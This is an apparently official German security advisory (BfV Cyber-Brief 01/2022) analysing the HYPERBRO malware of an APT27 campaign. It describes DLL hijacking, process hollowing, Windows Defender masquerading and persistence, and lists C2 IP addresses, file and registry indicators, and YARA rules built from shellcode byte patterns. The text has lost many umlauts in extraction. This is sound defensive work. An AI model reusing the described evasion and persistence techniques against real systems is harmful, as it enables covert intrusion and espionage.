Abbildung 2: Installationsprozess von HYPERBRO
Als Loader bezeichnet man eine der ersten Stufe einer mehrstufigen Malware, die die malizi
sen Bestandteile der Schadsoftware ggf. dekodiert und ausf
hrt. Loader
nnen dabei teils auf legitimen Programmen basieren, die vom Angreifer entgegen ihres eigentlichen Einsatzzweckes zum Laden von Schadprogrammen missbraucht
werden.
Bei einer DLL (Dynamic Link Library) handelt es sich um eine Programmbibliothek (meist in einem Windowssystem) aus der Softwareprogramme dynamisch Daten,
Ressourcen oder Funktionalit
ten nachladen k
nnen.
DLL-Hijacking bezeichnet das Laden einer DLL aus einem vom Programmentwickler nicht vorgesehenen Pfad. Sofern keine vollst
ndige Pfadangabe zum Laden der
DLL in einer Software hinterlegt ist, wird unter Windows standardm
ig zuerst in dem Ordner gesucht, in welchem das Programm selbst liegt, dann in bestimmten
Windows-Ordnern. Legt ein Angreifer eine malizi
se DLL in einem Ordner ab, der vor dem Ordner der eigentlich zu ladenden DLL durchsucht wird, l
dt ein legitimes
Programm die malizi
se DLL und f
hrt diese damit aus.
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Bei der initialen Ausf
hrung der legitimen Executable (msmpeng.exe / vfhost.exe) wird die malizi
DLL (vftrace.dll) per (1.) DLL-Hijacking geladen. Die malizi
se DLL (2.) l
dt und decodiert daraufhin
den Malware Payload (thumb.dat). Die DLL und der Payload sind dabei stark obfuskiert und nutzen
Anti-Debugging-Techniken, um die Analyse zu erschweren. Der decodierte Payload enth
lt Shellcode sowie eine komprimierte DLL, die (3.) vom Shellcode dekomprimiert und in memory geladen
wird. Diese DLL (4.) pr
ft daraufhin von welchem Ablageort HYPERBRO gestartet wurde 
 i.d.R. befindet sie sich zu diesem Zeitpunkt noch an einem zuf
lligen, durch den Akteur gew
hlten Ablageort. Weiterhin wird 
berpr
ft ob HYPERBRO mit administrativen Rechten gestartet wurde: Ist das
der Fall (4.a) werden alle HYPERBRO-Dateien in den folgenden Ordner verschoben bzw. kopiert, um
die Software Windows Defender zu imitieren:
%ProgramFiles%\Common Files\windefenders\
In diesen Ordner kann nur mit administrativen Rechten geschrieben werden.
Wurde HYPERBRO ohne administrative Rechte gestartet, (4.b) wird die Schadsoftware hingegen in
den folgenden Ordner verschoben:
%ProgramData%\windefenders\
Durch die Verschiebung in diesen Ordner imitiert HYPERBRO ebenfalls die Software Windows
Defender. Anschlie
end (5.) startet sich HYPERBRO am neuen Ablageort selbst neu. Dazu kommt
Process Hollowing (in svchost.exe) zum Einsatz und unter Umst
nden auch die Erstellung eines
tempor
ren Services, um die Ausf
hrung mit lokalen Systemrechten zu erm
glichen (in manchen
HYPERBRO-Varianten).
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Ausf
hrungsprozess
Die erneute Ausf
hrung von HYPERBRO (nach Installation oder bei jedem Systemneustart) l
uft in
den ersten drei Schritten genauso ab, wie bei der Installation (siehe Abb. 3):
Abbildung 3: Ausf
hrungsprozess von HYPERBRO
Bei der Ausf
hrung der legitimen Executable (msmpeng.exe / vfhost.exe) wird die malizi
se DLL
(vftrace.dll) per (1.) DLL-Hijacking geladen. Die malizi
se DLL (2.) l
dt und decodiert daraufhin den
Malware Payload (thumb.dat). Der decodierte Payload enth
lt Shellcode sowie die komprimierte
DLL, die (3.) vom Shellcode dekomprimiert und geladen wird. Diese DLL (4.) pr
ft daraufhin erneut
von welchem Ablageort HYPERBRO gestartet wurde 
 dieses Mal identifiziert die DLL jedoch, dass
HYPERBRO aus dem finalen Ablageort heraus gestartet wurde (%ProgramFiles%\Common Files\
windefenders\ oder %ProgramData%\windefenders\). Ebenfalls wird erneut gepr
ft, ob HYPERBRO
mit administrativen Rechten gestartet wurde. Daraufhin wird ein Persistenzmechanismus eingerichtet. Ein Service (windefenders) (4.a), falls das Programm mit administrativen Rechten gestartet wurde
(Anzeigename 
Windows Defenders
) und ein Registry Key (4.b) (HKEY_CURRENT_USER\Software\
Microsoft\Windows\CurrentVersion\Run\windefenders), falls ohne administrative Rechte gestartet
wurde. Zudem wird ein Mutex erstellt, das eine Mehrfachinfektion verhindert. Au
erdem wird eine
(6.) Malware Konfigurationsdatei (config.ini) im Ordner abgelegt. Die Konfigurationsdatei (config.
ini) beinhaltet die zuf
llig generierte GUID5 von HYPERBRO, die bei der C2-Kommunikation mit
GUID: Globally Unique Identifiier ist eine Zahl mit 128 Bit (16 Bytes), die im vorliegenden Fall genutzt wird um eine bestimmte Malware-Instanz bzw. ein kompromittiertes Opfer zu identifizieren.
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bermittelt wird. Zuletzt (7.) wird die malizi
se DLL per Process Hollowing in einen neuen Prozess
svchost.exe-Pozess geladen.
HYPERBRO kann in Memory bei Bedarf (8.) noch weitere Prozesse starten, um bestimmte Funktionalit
ten (wie bspw. Key-Logging) zu erm
glichen. Diese optionalen Worker Prozesse kommunizieren via einer Named Pipe (\\.\pipe\testpipe) mit dem urspr
nglichen Daemon Prozess (siehe Abb. 4).
Abbildung 4: Ausf
hrungsprozess von HYPERBRO in Memory
Netzwerkkommunikation
HYPERBRO kommuniziert mit hardcodierten C2-Servern des Angreifers und erh
lt von diesen verschiedene Kommandos. Bekannte C2-Server sind im Anhang A. 
 Indicators of Compromise (IOCs)
zu finden. Die Schadkommunikation von HYPERBRO findet in der Regel 
ber TCP Port 443 statt.
In Einzelf
llen kann es vorkommen, dass mehrere Varianten von HYPERBRO in einem Opfernetzwerk durch die Angreifer installiert werden, die sich nach aktuellen Erkenntnissen in den hartkodierten C2-Adressen unterscheiden.
Handlungsempfehlung
Es wird empfohlen, die eigenen Systeme mit den im Anhang (Anhang A. 
 Indicators of Compromise (IOCs)) zur Verf
gung gestellten IOCs zu pr
fen. Insbesondere sollte in Logdateien und aktiven
Netzwerkverbindungen nach Verbindungen zu den im Bereich IOCs genannten externen Systemen
gesucht werden. Da die bereitgestellten IOCs durch den Akteur ggf. gewechselt werden, sollten insbesondere 
 falls vorhanden 
 historische Netzwerk-Logs (insbesondere seit Februar 2021) gepr
werden, um bereits in der Vergangenheit erfolgte Infektionen auszuschlie
Ferner k
nnen die zus
tzlich im Anhang beigef
gten Detektionsregeln (Anhang B. 
 Detektionsregeln 
 HYPERBRO) dazu genutzt werden, nach einer Infektion durch HYPERBRO zu suchen.
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BfV Cyber-Brief
Kontakt
ckmeldungen und Fragen an die Cyberabwehr des BfV wenden Sie sich bitte an folgenden
Kontakt:
Tel.: 0228-99-792-2600
oder
cyberabwehr@bfv.bund.de
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Anhang A. 
 Indicators of Compromise (IOCs)
Funktion
104.168.236.46
C2-Server
103.79.77.200
C2-Server
87.98.190.184
C2-Server
Weitere m
gliche Indikatoren f
r eine Infektion
Die folgenden Indikatoren k
nnten auch einen legitimen Ursprung haben, sollten aber dennoch eingehend gepr
ft werden:
Datei
%TEMP%\<username>.key.log
Log-Datei mit Tastaturanschl
gen (vom
Keylogger aufgezeichnet)
Datei
%TEMP%\<username>.clip.log
Log-Datei mit Inhalt der Zwischenablage
Named Pipe
\\.\pipe\testpipe
Named Pipe f
r IPC zwischen Daemon
Prozess und Worker Prozess
Mutex
80A85553-1E05-4323-B4F9-43A4396A4507
Mutex die vom Programm erstellt wird
um Mehrfachausf
hrung zu verhindern
Service
windefenders
Wird angelegt wenn Schadsoftware mit
Admin-Rechten ausgef
hrt wird
Anzeigename 
Windows Defenders
Beschreibung 
Windows Defenders Service
Prozess
msiexec.exe
Optional weitere Injection in msiexec
durch entsprechendes C2-Kommando ausgel
User Agent
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
User Agent String den die Malware
r C2 (https) verwendet
Remote Pfad
/api/v2/ajax
Pfad auf dem C2-Server an den
POST-Requests 
bertragen werden
Registry
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run\windefenders
Run Key als Persistenzmechanismus bei Ausf
hrung ohne Admin-Rechte
Dateien /
Pfade
%ProgramFiles%\Common Files\windefenders\
%ProgramFiles%\Common Files\windefenders\config.ini
%ProgramFiles%\Common Files\windefenders\msmpeng.exe
%ProgramFiles%\Common Files\windefenders\thumb.dat
%ProgramFiles%\Common Files\windefenders\vftrace.dll
%ProgramData%\windefenders\
%ProgramData%\windefenders\config.ini
%ProgramData%\windefenders\msmpeng.exe
%ProgramData%\windefenders\thumb.dat
%ProgramData%\windefenders\vftrace.dll
Ablageorte und Komponenten der Malware
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Anhang B. 
 Detektionsregeln -HYPERBRO (Yara)
Detektionsregel I: Stage-Loader
Anmerkung:
Die nachfolgende Yara-Regel dient zur Identifikation des initialen Stage-Loaders aus der Datei vftrace.dll der HYPERBRO Malware und detektiert die entsprechende Dekodier-Funktion.
import 
rule vftrace_loader {
meta:
id = 
4eEDO8F3p27FeY5YLIPjrA
fingerprint = 
b14d0c555f2908a31fefdfa23876d48589cd04dec9e7338a96bc85b0bf58b458
version = 
first_imported = 
2022-01-14
last_modified = 
2022-01-14
status = 
RELEASED
sharing = 
TLP:WHITE
source = 
BUNDESAMT FUER VERFASSUNGSSCHUTZ
author = 
Bundesamt fuer Verfassungsschutz
description = 
Yara rule to detect first Hyperbro Loader Stage, often called vftrace.dll. Detects decoding function.
category = 
MALWARE
malware = 
HYPERBRO
mitre_att = 
S0398
reference = 
Warnmeldung des BFV - Aktuelle APT27-Angriffskampagne gegen deutsche Wirtschaftsunternehmen
hash = 
333B52C2CFAC56B86EE9D54AEF4F0FF4144528917BC1AA1FE1613EFC2318339A
strings:
$decoder_routine = { 8A ?? 41 10 00 00 8B ?? 28 ?? ?? 4? 3B ?? 72 ?? }
condition:
$decoder_routine and pe.exports(
D_C_Support_SetD_File
) and (pe.characteristics & pe.DLL) and filesize < 5MB
Bundesamt f
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BfV Cyber-Brief
Detektionsregel II: Neue Varianten des Payloads (ab Ende 2021)
Anmerkung:
Die nachfolgende Yara-Regel dient zur Identifikation des HYPERBRO Loader Shellcodes in der
Datei thumb.dat und ggf. w
hrend der Ausf
hrung in Memory.
rule thumb_dat_shellcode_encoded
meta:
id = 
4xBEgDqWksKAhAycnr9yEX
fingerprint = 
ed9d24bbb9d63a6c015d3d4c273b544b62483beb6f128e45d3d5d0900965d163
version = 
first_imported = 
2022-01-07
last_modified = 
2022-01-07
status = 
RELEASED
sharing = 
TLP:WHITE
source = 
BUNDESAMT FUER VERFASSUNGSSCHUTZ
author = 
Bundesamt fuer Verfassungsschutz
description = 
Yara rule to detect Hyperbro Loader Shellcode with all possible ADD/SUB encodings and in its decoded form at the
start of *thumb.dat* files. Tested against *thumb.dat* from 2019 and 2021.
category = 
MALWARE
malware = 
HYPERBRO
mitre_att = 
S0398
reference = 
Warnmeldung des BFV - Aktuelle APT27-Angriffskampagne gegen deutsche Wirtschaftsunternehmen
hash = 
601A02B81E3BD134C2CF681AC03D696B446E10BF267B11B91517DB1B233FEC74
strings:
$thumb_dat_content1 = { E8 6B 09 00 00 C3 55 8B EC 51 51 83 65 F8 00 8B }
$thumb_dat_content2 = { E9 6C 0A 01 01 C4 56 8C ED 52 52 84 66 F9 01 8C }
$thumb_dat_content3 = { EA 6D 0B 02 02 C5 57 8D EE 53 53 85 67 FA 02 8D }
$thumb_dat_content4 = { EB 6E 0C 03 03 C6 58 8E EF 54 54 86 68 FB 03 8E }
$thumb_dat_content5 = { EC 6F 0D 04 04 C7 59 8F F0 55 55 87 69 FC 04 8F }
$thumb_dat_content6 = { ED 70 0E 05 05 C8 5A 90 F1 56 56 88 6A FD 05 90 }
$thumb_dat_content7 = { EE 71 0F 06 06 C9 5B 91 F2 57 57 89 6B FE 06 91 }
$thumb_dat_content8 = { EF 72 10 07 07 CA 5C 92 F3 58 58 8A 6C 00 07 92 }
$thumb_dat_content9 = { F0 73 11 08 08 CB 5D 93 F4 59 59 8B 6D 01 08 93 }
$thumb_dat_content10 = { F1 74 12 09 09 CC 5E 94 F5 5A 5A 8C 6E 02 09 94 }
$thumb_dat_content11 = { F2 75 13 0A 0A CD 5F 95 F6 5B 5B 8D 6F 03 0A 95 }
$thumb_dat_content12 = { F3 76 14 0B 0B CE 60 96 F7 5C 5C 8E 70 04 0B 96 }
$thumb_dat_content13 = { F4 77 15 0C 0C CF 61 97 F8 5D 5D 8F 71 05 0C 97 }
$thumb_dat_content14 = { F5 78 16 0D 0D D0 62 98 F9 5E 5E 90 72 06 0D 98 }
$thumb_dat_content15 = { F6 79 17 0E 0E D1 63 99 FA 5F 5F 91 73 07 0E 99 }
$thumb_dat_content16 = { F7 7A 18 0F 0F D2 64 9A FB 60 60 92 74 08 0F 9A }
$thumb_dat_content17 = { F8 7B 19 10 10 D3 65 9B FC 61 61 93 75 09 10 9B }
$thumb_dat_content18 = { F9 7C 1A 11 11 D4 66 9C FD 62 62 94 76 0A 11 9C }
$thumb_dat_content19 = { FA 7D 1B 12 12 D5 67 9D FE 63 63 95 77 0B 12 9D }
$thumb_dat_content20 = { FB 7E 1C 13 13 D6 68 9E 00 64 64 96 78 0C 13 9E }
$thumb_dat_content21 = { FC 7F 1D 14 14 D7 69 9F 01 65 65 97 79 0D 14 9F }
$thumb_dat_content22 = { FD 80 1E 15 15 D8 6A A0 02 66 66 98 7A 0E 15 A0 }
$thumb_dat_content23 = { FE 81 1F 16 16 D9 6B A1 03 67 67 99 7B 0F 16 A1 }
$thumb_dat_content24 = { 00 82 20 17 17 DA 6C A2 04 68 68 9A 7C 10 17 A2 }
$thumb_dat_content25 = { 01 83 21 18 18 DB 6D A3 05 69 69 9B 7D 11 18 A3 }
$thumb_dat_content26 = { 02 84 22 19 19 DC 6E A4 06 6A 6A 9C 7E 12 19 A4 }
$thumb_dat_content27 = { 03 85 23 1A 1A DD 6F A5 07 6B 6B 9D 7F 13 1A A5 }
$thumb_dat_content28 = { 04 86 24 1B 1B DE 70 A6 08 6C 6C 9E 80 14 1B A6 }
$thumb_dat_content29 = { 05 87 25 1C 1C DF 71 A7 09 6D 6D 9F 81 15 1C A7 }
$thumb_dat_content30 = { 06 88 26 1D 1D E0 72 A8 0A 6E 6E A0 82 16 1D A8 }
$thumb_dat_content31 = { 07 89 27 1E 1E E1 73 A9 0B 6F 6F A1 83 17 1E A9 }
$thumb_dat_content32 = { 08 8A 28 1F 1F E2 74 AA 0C 70 70 A2 84 18 1F AA }
$thumb_dat_content33 = { 09 8B 29 20 20 E3 75 AB 0D 71 71 A3 85 19 20 AB }
$thumb_dat_content34 = { 0A 8C 2A 21 21 E4 76 AC 0E 72 72 A4 86 1A 21 AC }
$thumb_dat_content35 = { 0B 8D 2B 22 22 E5 77 AD 0F 73 73 A5 87 1B 22 AD }
$thumb_dat_content36 = { 0C 8E 2C 23 23 E6 78 AE 10 74 74 A6 88 1C 23 AE }
$thumb_dat_content37 = { 0D 8F 2D 24 24 E7 79 AF 11 75 75 A7 89 1D 24 AF }
$thumb_dat_content38 = { 0E 90 2E 25 25 E8 7A B0 12 76 76 A8 8A 1E 25 B0 }
$thumb_dat_content39 = { 0F 91 2F 26 26 E9 7B B1 13 77 77 A9 8B 1F 26 B1 }
Bundesamt f
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BfV Cyber-Brief
$thumb_dat_content40 = { 10 92 30 27 27 EA 7C B2 14 78 78 AA 8C 20 27 B2 }
$thumb_dat_content41 = { 11 93 31 28 28 EB 7D B3 15 79 79 AB 8D 21 28 B3 }
$thumb_dat_content42 = { 12 94 32 29 29 EC 7E B4 16 7A 7A AC 8E 22 29 B4 }
$thumb_dat_content43 = { 13 95 33 2A 2A ED 7F B5 17 7B 7B AD 8F 23 2A B5 }
$thumb_dat_content44 = { 14 96 34 2B 2B EE 80 B6 18 7C 7C AE 90 24 2B B6 }
$thumb_dat_content45 = { 15 97 35 2C 2C EF 81 B7 19 7D 7D AF 91 25 2C B7 }
$thumb_dat_content46 = { 16 98 36 2D 2D F0 82 B8 1A 7E 7E B0 92 26 2D B8 }
$thumb_dat_content47 = { 17 99 37 2E 2E F1 83 B9 1B 7F 7F B1 93 27 2E B9 }
$thumb_dat_content48 = { 18 9A 38 2F 2F F2 84 BA 1C 80 80 B2 94 28 2F BA }
$thumb_dat_content49 = { 19 9B 39 30 30 F3 85 BB 1D 81 81 B3 95 29 30 BB }
$thumb_dat_content50 = { 1A 9C 3A 31 31 F4 86 BC 1E 82 82 B4 96 2A 31 BC }
$thumb_dat_content51 = { 1B 9D 3B 32 32 F5 87 BD 1F 83 83 B5 97 2B 32 BD }
$thumb_dat_content52 = { 1C 9E 3C 33 33 F6 88 BE 20 84 84 B6 98 2C 33 BE }
$thumb_dat_content53 = { 1D 9F 3D 34 34 F7 89 BF 21 85 85 B7 99 2D 34 BF }
$thumb_dat_content54 = { 1E A0 3E 35 35 F8 8A C0 22 86 86 B8 9A 2E 35 C0 }
$thumb_dat_content55 = { 1F A1 3F 36 36 F9 8B C1 23 87 87 B9 9B 2F 36 C1 }
$thumb_dat_content56 = { 20 A2 40 37 37 FA 8C C2 24 88 88 BA 9C 30 37 C2 }
$thumb_dat_content57 = { 21 A3 41 38 38 FB 8D C3 25 89 89 BB 9D 31 38 C3 }
$thumb_dat_content58 = { 22 A4 42 39 39 FC 8E C4 26 8A 8A BC 9E 32 39 C4 }
$thumb_dat_content59 = { 23 A5 43 3A 3A FD 8F C5 27 8B 8B BD 9F 33 3A C5 }
$thumb_dat_content60 = { 24 A6 44 3B 3B FE 90 C6 28 8C 8C BE A0 34 3B C6 }
$thumb_dat_content61 = { 25 A7 45 3C 3C 00 91 C7 29 8D 8D BF A1 35 3C C7 }
$thumb_dat_content62 = { 26 A8 46 3D 3D 01 92 C8 2A 8E 8E C0 A2 36 3D C8 }
$thumb_dat_content63 = { 27 A9 47 3E 3E 02 93 C9 2B 8F 8F C1 A3 37 3E C9 }
$thumb_dat_content64 = { 28 AA 48 3F 3F 03 94 CA 2C 90 90 C2 A4 38 3F CA }
$thumb_dat_content65 = { 29 AB 49 40 40 04 95 CB 2D 91 91 C3 A5 39 40 CB }
$thumb_dat_content66 = { 2A AC 4A 41 41 05 96 CC 2E 92 92 C4 A6 3A 41 CC }
$thumb_dat_content67 = { 2B AD 4B 42 42 06 97 CD 2F 93 93 C5 A7 3B 42 CD }
$thumb_dat_content68 = { 2C AE 4C 43 43 07 98 CE 30 94 94 C6 A8 3C 43 CE }
$thumb_dat_content69 = { 2D AF 4D 44 44 08 99 CF 31 95 95 C7 A9 3D 44 CF }
$thumb_dat_content70 = { 2E B0 4E 45 45 09 9A D0 32 96 96 C8 AA 3E 45 D0 }
$thumb_dat_content71 = { 2F B1 4F 46 46 0A 9B D1 33 97 97 C9 AB 3F 46 D1 }
$thumb_dat_content72 = { 30 B2 50 47 47 0B 9C D2 34 98 98 CA AC 40 47 D2 }
$thumb_dat_content73 = { 31 B3 51 48 48 0C 9D D3 35 99 99 CB AD 41 48 D3 }
$thumb_dat_content74 = { 32 B4 52 49 49 0D 9E D4 36 9A 9A CC AE 42 49 D4 }
$thumb_dat_content75 = { 33 B5 53 4A 4A 0E 9F D5 37 9B 9B CD AF 43 4A D5 }
$thumb_dat_content76 = { 34 B6 54 4B 4B 0F A0 D6 38 9C 9C CE B0 44 4B D6 }
$thumb_dat_content77 = { 35 B7 55 4C 4C 10 A1 D7 39 9D 9D CF B1 45 4C D7 }
$thumb_dat_content78 = { 36 B8 56 4D 4D 11 A2 D8 3A 9E 9E D0 B2 46 4D D8 }
$thumb_dat_content79 = { 37 B9 57 4E 4E 12 A3 D9 3B 9F 9F D1 B3 47 4E D9 }
$thumb_dat_content80 = { 38 BA 58 4F 4F 13 A4 DA 3C A0 A0 D2 B4 48 4F DA }
$thumb_dat_content81 = { 39 BB 59 50 50 14 A5 DB 3D A1 A1 D3 B5 49 50 DB }
$thumb_dat_content82 = { 3A BC 5A 51 51 15 A6 DC 3E A2 A2 D4 B6 4A 51 DC }
$thumb_dat_content83 = { 3B BD 5B 52 52 16 A7 DD 3F A3 A3 D5 B7 4B 52 DD }
$thumb_dat_content84 = { 3C BE 5C 53 53 17 A8 DE 40 A4 A4 D6 B8 4C 53 DE }
$thumb_dat_content85 = { 3D BF 5D 54 54 18 A9 DF 41 A5 A5 D7 B9 4D 54 DF }
$thumb_dat_content86 = { 3E C0 5E 55 55 19 AA E0 42 A6 A6 D8 BA 4E 55 E0 }
$thumb_dat_content87 = { 3F C1 5F 56 56 1A AB E1 43 A7 A7 D9 BB 4F 56 E1 }
$thumb_dat_content88 = { 40 C2 60 57 57 1B AC E2 44 A8 A8 DA BC 50 57 E2 }
$thumb_dat_content89 = { 41 C3 61 58 58 1C AD E3 45 A9 A9 DB BD 51 58 E3 }
$thumb_dat_content90 = { 42 C4 62 59 59 1D AE E4 46 AA AA DC BE 52 59 E4 }
$thumb_dat_content91 = { 43 C5 63 5A 5A 1E AF E5 47 AB AB DD BF 53 5A E5 }
$thumb_dat_content92 = { 44 C6 64 5B 5B 1F B0 E6 48 AC AC DE C0 54 5B E6 }
$thumb_dat_content93 = { 45 C7 65 5C 5C 20 B1 E7 49 AD AD DF C1 55 5C E7 }
$thumb_dat_content94 = { 46 C8 66 5D 5D 21 B2 E8 4A AE AE E0 C2 56 5D E8 }
$thumb_dat_content95 = { 47 C9 67 5E 5E 22 B3 E9 4B AF AF E1 C3 57 5E E9 }
$thumb_dat_content96 = { 48 CA 68 5F 5F 23 B4 EA 4C B0 B0 E2 C4 58 5F EA }
$thumb_dat_content97 = { 49 CB 69 60 60 24 B5 EB 4D B1 B1 E3 C5 59 60 EB }
$thumb_dat_content98 = { 4A CC 6A 61 61 25 B6 EC 4E B2 B2 E4 C6 5A 61 EC }
$thumb_dat_content99 = { 4B CD 6B 62 62 26 B7 ED 4F B3 B3 E5 C7 5B 62 ED }
$thumb_dat_content100 = { 4C CE 6C 63 63 27 B8 EE 50 B4 B4 E6 C8 5C 63 EE }
$thumb_dat_content101 = { 4D CF 6D 64 64 28 B9 EF 51 B5 B5 E7 C9 5D 64 EF }
$thumb_dat_content102 = { 4E D0 6E 65 65 29 BA F0 52 B6 B6 E8 CA 5E 65 F0 }
$thumb_dat_content103 = { 4F D1 6F 66 66 2A BB F1 53 B7 B7 E9 CB 5F 66 F1 }
$thumb_dat_content104 = { 50 D2 70 67 67 2B BC F2 54 B8 B8 EA CC 60 67 F2 }
$thumb_dat_content105 = { 51 D3 71 68 68 2C BD F3 55 B9 B9 EB CD 61 68 F3 }
$thumb_dat_content106 = { 52 D4 72 69 69 2D BE F4 56 BA BA EC CE 62 69 F4 }
$thumb_dat_content107 = { 53 D5 73 6A 6A 2E BF F5 57 BB BB ED CF 63 6A F5 }
$thumb_dat_content108 = { 54 D6 74 6B 6B 2F C0 F6 58 BC BC EE D0 64 6B F6 }
$thumb_dat_content109 = { 55 D7 75 6C 6C 30 C1 F7 59 BD BD EF D1 65 6C F7 }
Bundesamt f
r Verfassungsschutz - Cyber-Brief Nr. 01/2022
TLP:WHITE
BfV Cyber-Brief
$thumb_dat_content110 = { 56 D8 76 6D 6D 31 C2 F8 5A BE BE F0 D2 66 6D F8 }
$thumb_dat_content111 = { 57 D9 77 6E 6E 32 C3 F9 5B BF BF F1 D3 67 6E F9 }
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$thumb_dat_content167 = { 8F 12 AF A6 A6 6A FB 32 93 F7 F7 2A 0C 9F A6 32 }
$thumb_dat_content168 = { 90 13 B0 A7 A7 6B FC 33 94 F8 F8 2B 0D A0 A7 33 }
$thumb_dat_content169 = { 91 14 B1 A8 A8 6C FD 34 95 F9 F9 2C 0E A1 A8 34 }
$thumb_dat_content170 = { 92 15 B2 A9 A9 6D FE 35 96 FA FA 2D 0F A2 A9 35 }
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$thumb_dat_content172 = { 94 17 B4 AB AB 6F 01 37 98 FC FC 2F 11 A4 AB 37 }
$thumb_dat_content173 = { 95 18 B5 AC AC 70 02 38 99 FD FD 30 12 A5 AC 38 }
$thumb_dat_content174 = { 96 19 B6 AD AD 71 03 39 9A FE FE 31 13 A6 AD 39 }
$thumb_dat_content175 = { 97 1A B7 AE AE 72 04 3A 9B 00 00 32 14 A7 AE 3A }
$thumb_dat_content176 = { 98 1B B8 AF AF 73 05 3B 9C 01 01 33 15 A8 AF 3B }
$thumb_dat_content177 = { 99 1C B9 B0 B0 74 06 3C 9D 02 02 34 16 A9 B0 3C }
$thumb_dat_content178 = { 9A 1D BA B1 B1 75 07 3D 9E 03 03 35 17 AA B1 3D }
$thumb_dat_content179 = { 9B 1E BB B2 B2 76 08 3E 9F 04 04 36 18 AB B2 3E }
Bundesamt f
r Verfassungsschutz - Cyber-Brief Nr. 01/2022
TLP:WHITE
BfV Cyber-Brief
$thumb_dat_content180 = { 9C 1F BC B3 B3 77 09 3F A0 05 05 37 19 AC B3 3F }
$thumb_dat_content181 = { 9D 20 BD B4 B4 78 0A 40 A1 06 06 38 1A AD B4 40 }
$thumb_dat_content182 = { 9E 21 BE B5 B5 79 0B 41 A2 07 07 39 1B AE B5 41 }
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$thumb_dat_content184 = { A0 23 C0 B7 B7 7B 0D 43 A4 09 09 3B 1D B0 B7 43 }
$thumb_dat_content185 = { A1 24 C1 B8 B8 7C 0E 44 A5 0A 0A 3C 1E B1 B8 44 }
$thumb_dat_content186 = { A2 25 C2 B9 B9 7D 0F 45 A6 0B 0B 3D 1F B2 B9 45 }
$thumb_dat_content187 = { A3 26 C3 BA BA 7E 10 46 A7 0C 0C 3E 20 B3 BA 46 }
$thumb_dat_content188 = { A4 27 C4 BB BB 7F 11 47 A8 0D 0D 3F 21 B4 BB 47 }
$thumb_dat_content189 = { A5 28 C5 BC BC 80 12 48 A9 0E 0E 40 22 B5 BC 48 }
$thumb_dat_content190 = { A6 29 C6 BD BD 81 13 49 AA 0F 0F 41 23 B6 BD 49 }
$thumb_dat_content191 = { A7 2A C7 BE BE 82 14 4A AB 10 10 42 24 B7 BE 4A }
$thumb_dat_content192 = { A8 2B C8 BF BF 83 15 4B AC 11 11 43 25 B8 BF 4B }
$thumb_dat_content193 = { A9 2C C9 C0 C0 84 16 4C AD 12 12 44 26 B9 C0 4C }
$thumb_dat_content194 = { AA 2D CA C1 C1 85 17 4D AE 13 13 45 27 BA C1 4D }
$thumb_dat_content195 = { AB 2E CB C2 C2 86 18 4E AF 14 14 46 28 BB C2 4E }
$thumb_dat_content196 = { AC 2F CC C3 C3 87 19 4F B0 15 15 47 29 BC C3 4F }
$thumb_dat_content197 = { AD 30 CD C4 C4 88 1A 50 B1 16 16 48 2A BD C4 50 }
$thumb_dat_content198 = { AE 31 CE C5 C5 89 1B 51 B2 17 17 49 2B BE C5 51 }
$thumb_dat_content199 = { AF 32 CF C6 C6 8A 1C 52 B3 18 18 4A 2C BF C6 52 }
$thumb_dat_content200 = { B0 33 D0 C7 C7 8B 1D 53 B4 19 19 4B 2D C0 C7 53 }
$thumb_dat_content201 = { B1 34 D1 C8 C8 8C 1E 54 B5 1A 1A 4C 2E C1 C8 54 }
$thumb_dat_content202 = { B2 35 D2 C9 C9 8D 1F 55 B6 1B 1B 4D 2F C2 C9 55 }
$thumb_dat_content203 = { B3 36 D3 CA CA 8E 20 56 B7 1C 1C 4E 30 C3 CA 56 }
$thumb_dat_content204 = { B4 37 D4 CB CB 8F 21 57 B8 1D 1D 4F 31 C4 CB 57 }
$thumb_dat_content205 = { B5 38 D5 CC CC 90 22 58 B9 1E 1E 50 32 C5 CC 58 }
$thumb_dat_content206 = { B6 39 D6 CD CD 91 23 59 BA 1F 1F 51 33 C6 CD 59 }
$thumb_dat_content207 = { B7 3A D7 CE CE 92 24 5A BB 20 20 52 34 C7 CE 5A }
$thumb_dat_content208 = { B8 3B D8 CF CF 93 25 5B BC 21 21 53 35 C8 CF 5B }
$thumb_dat_content209 = { B9 3C D9 D0 D0 94 26 5C BD 22 22 54 36 C9 D0 5C }
$thumb_dat_content210 = { BA 3D DA D1 D1 95 27 5D BE 23 23 55 37 CA D1 5D }
$thumb_dat_content211 = { BB 3E DB D2 D2 96 28 5E BF 24 24 56 38 CB D2 5E }
$thumb_dat_content212 = { BC 3F DC D3 D3 97 29 5F C0 25 25 57 39 CC D3 5F }
$thumb_dat_content213 = { BD 40 DD D4 D4 98 2A 60 C1 26 26 58 3A CD D4 60 }
$thumb_dat_content214 = { BE 41 DE D5 D5 99 2B 61 C2 27 27 59 3B CE D5 61 }
$thumb_dat_content215 = { BF 42 DF D6 D6 9A 2C 62 C3 28 28 5A 3C CF D6 62 }
$thumb_dat_content216 = { C0 43 E0 D7 D7 9B 2D 63 C4 29 29 5B 3D D0 D7 63 }
$thumb_dat_content217 = { C1 44 E1 D8 D8 9C 2E 64 C5 2A 2A 5C 3E D1 D8 64 }
$thumb_dat_content218 = { C2 45 E2 D9 D9 9D 2F 65 C6 2B 2B 5D 3F D2 D9 65 }
$thumb_dat_content219 = { C3 46 E3 DA DA 9E 30 66 C7 2C 2C 5E 40 D3 DA 66 }
$thumb_dat_content220 = { C4 47 E4 DB DB 9F 31 67 C8 2D 2D 5F 41 D4 DB 67 }
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$thumb_dat_content223 = { C7 4A E7 DE DE A2 34 6A CB 30 30 62 44 D7 DE 6A }
$thumb_dat_content224 = { C8 4B E8 DF DF A3 35 6B CC 31 31 63 45 D8 DF 6B }
$thumb_dat_content225 = { C9 4C E9 E0 E0 A4 36 6C CD 32 32 64 46 D9 E0 6C }
$thumb_dat_content226 = { CA 4D EA E1 E1 A5 37 6D CE 33 33 65 47 DA E1 6D }
$thumb_dat_content227 = { CB 4E EB E2 E2 A6 38 6E CF 34 34 66 48 DB E2 6E }
$thumb_dat_content228 = { CC 4F EC E3 E3 A7 39 6F D0 35 35 67 49 DC E3 6F }
$thumb_dat_content229 = { CD 50 ED E4 E4 A8 3A 70 D1 36 36 68 4A DD E4 70 }
$thumb_dat_content230 = { CE 51 EE E5 E5 A9 3B 71 D2 37 37 69 4B DE E5 71 }
$thumb_dat_content231 = { CF 52 EF E6 E6 AA 3C 72 D3 38 38 6A 4C DF E6 72 }
